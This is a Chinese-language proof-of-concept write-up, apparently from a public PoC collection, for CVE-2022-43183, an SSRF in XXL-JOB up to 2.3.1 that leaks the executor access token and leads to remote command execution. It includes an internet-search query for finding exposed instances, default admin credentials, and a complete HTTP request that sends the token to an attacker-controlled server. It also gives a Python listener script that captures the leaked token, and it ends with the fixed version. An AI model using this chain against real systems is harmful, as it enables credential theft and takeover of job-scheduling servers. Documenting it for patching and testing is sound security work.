Awesome-POC/Web应用漏洞/XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183.md
2024-11-13 10:49:00 +08:00

145 lines
5.6 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# XXL-JOB SSRF 漏洞泄露 Token 导致 RCE CVE-2022-43183
## 漏洞描述
XXL-JOB 是一个分布式任务调度平台其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线开箱即用。XXL-JOB 分为 admin 和 executor 两端,前者为后台管理页面,后者是任务执行的客户端。
XXL-JOB =< 2.3.1 版本的 `xxl-job-2.3.1/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/JobLogController.java` 中存在一个 SSRF 漏洞该漏洞源自 `/logDetailCat`它直接向 `executorAddress` 指定的地址发送查询日志请求而不判断 `executorAddress` 参数是否为有效的执行者地址查询请求携带 `XXL-JOB-ACCESS- TOKEN`导致 `XXL-JOB-ACCESS-TOKEN` 泄露攻击者可通过泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor最终导致任意命令执行
参考链接
- https://nvd.nist.gov/vuln/detail/CVE-2022-43183
- https://github.com/xuxueli/xxl-job/issues/3002
## 漏洞影响
```
XXL-JOB =< 2.3.1
```
## 网络测绘
```
app="XXL-JOB" || title="任务调度中心" || ("invalid request, HttpMethod not support" && port="9999")
```
## 环境搭建
本地搭建 XXL-JOB v2.3.1源码 https://github.com/xuxueli/xxl-job/archive/refs/tags/2.3.1.zip
环境启动后访问 `http://your-ip:8080/xxl-job-admin/toLogin` 即可查看到管理端admin访问 `http://your-ip:9999` 可以查看到客户端executor)。
默认口令 `admin/123456` 登录后台
![](images/XXL-JOB%20默认%20accessToken%20身份绕过漏洞/image-20241112174933070.png)
## 漏洞复现
复现思路
1. 创建一个普通用户该用户没有 executor 权限
2. 搭建一个恶意 HTTP 服务器打印请求详细信息
3. 使用普通用户调用 `/xxl-job-admin/joblog/logDetailCat` 接口 `executorAddress` 替换为恶意 HTTP 服务器地址
4. 恶意 HTTP 服务器将通过 SSRF 漏洞获取泄露的 `XXL-JOB-ACCESS-TOKEN`
5. 携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor执行任意命令
首先创建一个普通用户 user
```
user/GO_7YhvzrHF4
```
![](images/XXL-JOB%20垂直越权漏洞%20CVE-2022-36157/image-20241113085305599.png)
以普通用户 user 身份重新登录
![](images/XXL-JOB%20垂直越权漏洞%20CVE-2022-36157/image-20241113085718183.png)
然后搭建一个恶意 HTTP 服务器调用 `/xxl-job-admin/joblog/logDetailCat` 接口 `executorAddress` 替换为恶意 HTTP 服务器地址
```
POST /xxl-job-admin/joblog/logDetailCat HTTP/1.1
Host: your-ip:8080
Content-Length: 97
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Origin: http://your-ip:8080
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://your-ip:8080/xxl-job-admin/joblog/logDetailCat
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a2275736572222c2270617373776f7264223a223462643033633065653631306365383332626534616266313334363535643938222c22726f6c65223a302c227065726d697373696f6e223a22227d
Connection: keep-alive
executorAddress=http%3A%2F%2F<your-server-ip>%3A8888&logId=0&fromLineNum=0&triggerTime=1731464078000
```
![](images/XXL-JOB%20SSRF%20漏洞泄露%20Token%20导致%20RCE%20CVE-2022-43183/image-20241113101647909.png)
恶意 HTTP 服务器成功获取泄露的 `XXL-JOB-ACCESS-TOKEN`
![](images/XXL-JOB%20SSRF%20漏洞泄露%20Token%20导致%20RCE%20CVE-2022-43183/image-20241113103259963.png)
最后参考 XXL-JOB 默认 accessToken 身份绕过漏洞中的方法携带泄露的 `XXL-JOB-ACCESS-TOKEN` 调用任意 executor执行任意命令
![](images/XXL-JOB%20SSRF%20漏洞泄露%20Token%20导致%20RCE%20CVE-2022-43183/image-20241113102351045.png)
## 漏洞 POC
server.py
```python
# -*- coding: utf-8 -*-
# @Author : Threekiii
# @Time : 2024-11-13
# @Function: HTTP Server打印请求详细信息用于 SSRF 场景下从服务器获取数据
import logging
from http.server import SimpleHTTPRequestHandler, HTTPServer
# 自定义请求处理器
class MyRequestHandler(SimpleHTTPRequestHandler):
def do_GET(self):
self.log_request_details()
super().do_GET() # 处理 GET 请求
def do_POST(self):
self.log_request_details()
# 读取并打印请求体内容
content_length = int(self.headers.get('Content-Length', 0))
post_body = self.rfile.read(content_length)
logging.info(f"Request Body: {post_body.decode('utf-8')}")
# 响应客户端
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
def log_request_details(self):
# 打印请求的详细信息
logging.info(f"Request Method: {self.command}")
logging.info(f"Request Path: {self.path}")
logging.info(f"Headers: {self.headers}")
# 配置日志格式
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
# 启动 HTTP 服务器
def run(server_class=HTTPServer, handler_class=MyRequestHandler, port=8000):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run(port=8888)
```
## 漏洞修复
该漏洞在 v.2.4.0 版本修复